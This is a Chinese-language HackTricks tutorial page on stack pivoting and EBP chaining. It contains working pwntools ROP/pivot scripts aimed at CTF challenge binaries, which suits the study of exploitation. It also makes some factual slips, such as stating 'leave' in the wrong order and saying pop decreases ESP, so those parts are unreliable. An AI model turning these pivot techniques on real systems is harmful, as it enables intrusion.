hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

10 KiB
Raw Blame History

栈枢轴 - EBP2Ret - EBP链接

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

基本信息

这种技术利用了操纵**基指针EBP的能力通过精心使用EBP寄存器和leave; ret**指令序列来链接多个函数的执行。

作为提醒,**leave**基本上意味着:

mov       ebp, esp
pop       ebp
ret

EBP2Ret

这种技术在你可以改变 EBP 寄存器但无法直接改变 EIP 寄存器时特别有用。它利用了函数执行完毕时的行为。

如果在 fvuln 执行期间,你成功地在栈中注入一个指向内存中你的 shellcode 地址的伪造 EBP(再加上 4 个字节以考虑 pop 操作),你就可以间接控制 EIP。当 fvuln 返回时ESP 被设置为这个精心构造的位置,随后的 pop 操作将 ESP 减少 4有效地使其指向攻击者在其中存储的地址。
注意你需要知道 2 个地址ESP 将要到达的地址,你需要在那里写入 ESP 指向的地址。

攻击构造

首先,你需要知道一个可以写入任意数据/地址的地址。ESP 将指向这里并运行第一个 ret

然后,你需要知道 ret 使用的地址,将执行任意代码。你可以使用:

  • 一个有效的 ONE_GADGET 地址。
  • system() 地址,后跟4 个无效字节"/bin/sh" 地址x86 位)。
  • 一个**jump esp;** gadget 地址(ret2esp),后跟要执行的shellcode
  • 一些 ROP

请记住,在受控内存部分的任何这些地址之前,必须有**4 个字节**,因为 leave 指令的 pop 部分。可以滥用这 4B 来设置第二个伪造 EBP并继续控制执行。

Off-By-One Exploit

这种技术的一个特定变体称为“Off-By-One Exploit”。当你只能修改 EBP 的最低有效字节时使用。在这种情况下,存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同,允许在更受限制的条件下进行类似的操作。
通常修改字节 0x00 以跳转尽可能远。

此外,通常在栈中使用 RET 滑梯,并将真正的 ROP 链放在末尾,以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。

EBP 链接

因此,在栈的 EBP 条目中放置一个受控地址,并在 EIP 中放置一个指向 leave; ret 的地址,就可以ESP 移动到栈中受控的 EBP 地址

现在,ESP 被控制,指向一个期望的地址,下一个要执行的指令是 RET。为了滥用这一点,可以在受控 ESP 位置放置以下内容:

  • &(下一个伪造 EBP) -> 加载新的 EBP因为 leave 指令中的 pop ebp
  • system() -> 被 ret 调用
  • &(leave;ret) -> 在 system 结束后调用,它将移动 ESP 到伪造 EBP 并重新开始
  • &("/bin/sh")-> system 的参数

基本上,通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。

这就像一个 ret2lib,但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。

此外,这里有一个挑战示例,使用这种技术和一个栈泄漏来调用一个获胜函数。这是页面上的最终有效载荷:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP可能不会被使用

正如在这篇文章中解释的,如果一个二进制文件被编译时进行了一些优化,EBP永远无法控制ESP因此任何通过控制EBP来工作的利用都基本上会失败因为它没有任何真正的效果。
这是因为如果二进制文件被优化了,函数的前导和尾声会发生变化

  • 未优化:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 优化:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

控制 RSP 的其他方法

pop rsp 机关

在这个页面中,您可以找到使用这种技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个**pop rsp 机关以及来自堆栈的泄漏**

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp 交换指令

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

在这里查看ret2esp技术

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

参考资料和其他示例

ARM64

在ARM64中函数的入口和出口不会在堆栈中存储和检索SP寄存器。此外RET指令不会返回到SP指向的地址而是返回到x30内的地址

因此默认情况下仅仅滥用出口您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP您仍需要一种方法来**控制x30**寄存器。

  • 入口
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP指向帧记录
  • 出口
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

{% hint style="danger" %} 在ARM64中执行类似于堆栈枢轴的方法是能够控制SP(通过控制某个将值传递给SP的寄存器或者因为某种原因SP正在从堆栈中获取其地址并且我们有一个溢出)然后滥用出口从**受控SP加载x30寄存器并RET**到它。 {% endhint %}

此外在以下页面中您可以看到ARM64中Ret2esp的等效

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}